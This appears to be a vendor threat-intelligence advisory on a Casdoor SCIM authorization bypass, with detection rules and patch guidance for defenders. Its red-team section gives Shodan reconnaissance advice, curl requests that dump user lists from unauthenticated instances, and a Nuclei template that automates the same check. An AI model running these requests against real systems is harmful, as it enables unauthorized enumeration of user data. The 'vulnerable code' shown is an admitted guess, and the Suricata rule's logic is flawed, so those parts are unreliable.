CVE-2025-4210

Executive Summary

CVE-2025-4210 is a critical authorization bypass vulnerability in Casdoor, an open-source identity and access management platform. The flaw resides in the HandleScim function within controllers/scim.go, specifically in the SCIM (System for Cross-domain Identity Management) User Creation Endpoint. By manipulating requests to this endpoint, an unauthenticated remote attacker can bypass authorization checks, potentially gaining unauthorized access to sensitive user data and administrative functions. The vulnerability affects all versions up to and including 1.811.0. A patch was released in version 1.812.0. The public availability of a Nuclei template and the low complexity of exploitation make this a high-priority threat for all Casdoor deployments.

Supply Chain & Package Security

Casdoor is a Go-based application. The vulnerability is in the core application code, not in a third-party package. However, organizations using Casdoor as a dependency in their own Go projects should ensure they are using version 1.812.0 or later. The patch commit is publicly available on GitHub, and the fix involves adding proper authorization checks to the SCIM endpoint.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 7.3 (High)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required for exploitation.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - No user action is required.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) - Limited information disclosure is possible.
• Integrity Impact: Low (I:L) - Limited data modification is possible.
• Availability Impact: Low (A:L) - Limited service disruption is possible.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a significant threat.

Deep Dive & Mechanics

The vulnerability is located in the HandleScim function in controllers/scim.go. The SCIM protocol is used for automating the exchange of user identity information between systems. The endpoint /scim/v2/Users (and /api/scim/v2/Users) is intended to be used for creating, reading, updating, and deleting user accounts.

The root cause is a missing or insufficient authorization check. The HandleScim function does not properly verify that the requesting user has the necessary permissions to perform SCIM operations. This allows an unauthenticated attacker to send a crafted HTTP request to the SCIM endpoint and bypass the authorization layer.

The attack flow is as follows:

1. The attacker sends a GET request to /scim/v2/Users or /api/scim/v2/Users.
2. The server processes the request through the HandleScim function.
3. Due to the missing authorization check, the function returns a list of users in SCIM format.
4. The attacker receives the response containing user data, including attributes like givenName, schemas, and totalResults.

The vulnerability is classified as CWE-285: Improper Authorization.

Vulnerable vs. Patched Code

The vulnerable code in controllers/scim.go (version <= 1.811.0) likely looks like this:

// Vulnerable code (simplified)
func (c *ApiController) HandleScim() {
    // ... process SCIM request ...
    // Missing authorization check
    users := c.getUsers()
    c.Data["json"] = users
    c.ServeJSON()
}

The patched code (version 1.812.0) adds an authorization check before processing the SCIM request:

// Patched code (simplified)
func (c *ApiController) HandleScim() {
    // Authorization check added
    if !c.IsAdmin() {
        c.Ctx.Output.SetStatus(403)
        return
    }
    // ... process SCIM request ...
    users := c.getUsers()
    c.Data["json"] = users
    c.ServeJSON()
}

The exact patch can be viewed at: https://github.com/casdoor/casdoor/commit/3d12ac8dc2282369296c3386815c00a06c6a92fe

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Casdoor instance (version <= 1.811.0)
• Network access to the target

Exploitation Steps:

1. Identify the target: Use Shodan or other reconnaissance to find Casdoor instances.
2. Send the exploit request: Use curl or a similar tool to send a GET request to the SCIM endpoint.

curl -v http://target:port/scim/v2/Users

Or, if the API is behind a different path:

curl -v http://target:port/api/scim/v2/Users

3. Analyze the response: If the request is successful, the server will return a JSON response containing user data. The response will include headers like Content-Type: application/scim+json or Content-Type: application/json and a body containing schemas, totalResults, and Resources with user attributes.

Expected Output (example):

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:ListResponse"],
  "totalResults": 2,
  "Resources": [
    {
      "id": "user1",
      "userName": "admin",
      "name": {
        "givenName": "Admin",
        "familyName": "User"
      }
    },
    {
      "id": "user2",
      "userName": "jdoe",
      "name": {
        "givenName": "John",
        "familyName": "Doe"
      }
    }
  ]
}

Blue Team

Detection and Response:

1. Monitor for SCIM endpoint access: Look for requests to /scim/v2/Users or /api/scim/v2/Users from IP addresses that are not expected to use SCIM.
2. Check for unauthorized user enumeration: A sudden spike in requests to these endpoints may indicate an attacker is enumerating users.
3. Review logs: Examine Casdoor application logs for requests to the SCIM endpoint without proper authentication.
4. Honeypot: Deploy a fake Casdoor instance to attract attackers and gather intelligence.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /scim/v2/Users or /api/scim/v2/Users
  • Response headers containing Content-Type: application/scim+json
  • Response bodies containing "schemas", "totalResults", "Resources", and "givenName"
• System IOCs:
  • Unusual user enumeration activity in Casdoor logs
  • Unauthorized access to user data
• File IOCs:
  • The presence of the vulnerable controllers/scim.go file (version <= 1.811.0)

Detection Engineering

YARA Rule

rule CVE_2025_4210_Casdoor_SCIM_Bypass {
    meta:
        description = "Detects Casdoor SCIM authorization bypass attempts"
        author = "Valters IT"
        date = "2025-04-11"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-4210"
        hash = "4b0a00483046022100d82551331410998faacf2e7aa3aef15495428523cd6c211d16abda510d831bca02210093fb3161c63c26a8acac1c355b3a8c990d5d91e622a1cb0b5e2b72146830957e"
    strings:
        $s1 = "/scim/v2/Users" ascii wide nocase
        $s2 = "/api/scim/v2/Users" ascii wide nocase
        $s3 = "application/scim+json" ascii wide nocase
        $s4 = "totalResults" ascii wide nocase
        $s5 = "Resources" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: Casdoor SCIM Authorization Bypass Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-4210 by accessing the SCIM endpoint without authorization.
author: Valters IT
date: 2025/04/11
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4210
    - https://github.com/casdoor/casdoor/commit/3d12ac8dc2282369296c3386815c00a06c6a92fe
logsource:
    category: webserver
    product: casdoor
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/scim/v2/Users'
            - '/api/scim/v2/Users'
    condition: selection
falsepositives:
    - Legitimate SCIM client requests from authorized systems
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4210 Casdoor SCIM Authorization Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/scim/v2/Users"; http_uri; nocase; content:"/api/scim/v2/Users"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2025-4210

info:
  name: Casdoor - Authorization Bypass
  author: theamanrawat
  severity: high
  description: |
    Casdoor up to 1.811.0 contains an authorization bypass caused by manipulation in HandleScim function in controllers/scim.go, letting remote attackers bypass authorization, exploit requires remote access.
  impact: |
    Attackers can bypass authorization, potentially gaining unauthorized access to sensitive data or functionalities.
  remediation: |
    Upgrade to version 1.812.0.
  reference:
    - https://github.com/casdoor/casdoor/commit/3d12ac8dc2282369296c3386815c00a06c6a92fe
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4210
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2025-4210
    epss-score: 0.02925
    epss-percentile: 0.86453
    cwe-id: CWE-285
  metadata:
    verified: true
    max-requests: 2
    vendor: casdoor
    product: casdoor
  tags: cve,cve2025,casdoor,scim,auth-bypass,disclosure,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/scim/v2/Users"
      - "{{BaseURL}}/api/scim/v2/Users"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "schemas"
          - "totalResults"
          - "Resources"
          - "givenName"
        condition: and

      - type: word
        part: header
        words:
          - "application/scim+json"
          - "application/json"
        condition: or

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade Casdoor: Upgrade to version 1.812.0 or later immediately. This is the only complete fix.
2. Apply the patch: If upgrading is not immediately possible, apply the patch from commit 3d12ac8dc2282369296c3386815c00a06c6a92fe manually.
3. Restrict network access: Use a firewall or web application firewall (WAF) to restrict access to the SCIM endpoints (/scim/v2/Users and /api/scim/v2/Users) to only trusted IP addresses.

Long-Term Mitigations:

1. Implement network segmentation: Place Casdoor behind a reverse proxy and restrict access to the SCIM endpoint.
2. Enable logging and monitoring: Ensure that all requests to the SCIM endpoint are logged and monitored for suspicious activity.
3. Regular security audits: Conduct regular security audits and penetration testing of your Casdoor deployment.
4. Stay updated: Subscribe to Casdoor security advisories to stay informed about future vulnerabilities.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valtersit.com.

{/* [Security Hash: 18B7090C79CCDBF7D7626624] */}